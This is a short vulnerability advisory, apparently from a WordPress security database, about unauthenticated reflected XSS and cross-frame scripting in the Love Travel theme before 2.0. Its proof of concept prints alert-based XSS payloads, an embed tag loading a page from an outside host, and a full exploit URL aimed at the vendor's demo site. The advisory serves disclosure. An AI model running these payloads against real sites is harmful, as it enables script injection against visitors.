Themes Vulnerabilities

Love Travel < 2.0 - Unauthenticated Reflected XSS & XFS

Description

An Unauthenticated Reflected XSS & XFS vulnerabilities was discovered in the Love Travel theme for WordPress, affected versions: 1.0-1.9. Vulnerable parameters: nd_travel_archive_form_keyword, nd_travel_typology_slug. The issue was fixed due to a code rewrite of the theme.

Proof of Concept

[$] :: Payload(s):

"><img src=x onerror=alert(`Ex.Mi`);alert(document.domain);>

"><embed src=//ex-mi.ru/payload/xfsii.html></embed>

http://www.nicdarkthemes.com/themes/travel/wp/demo/tour-packages/search-2/?nd_travel_archive_form_keyword=%22%3E%3Cimg%20src=x%20onerror=alert(`Ex.Mi`);alert(document.domain);%3E&nd_travel_typology_slug=%22%3E%3Cimg%20src=x%20onerror=alert(`Ex.Mi`);alert(document.domain);%3E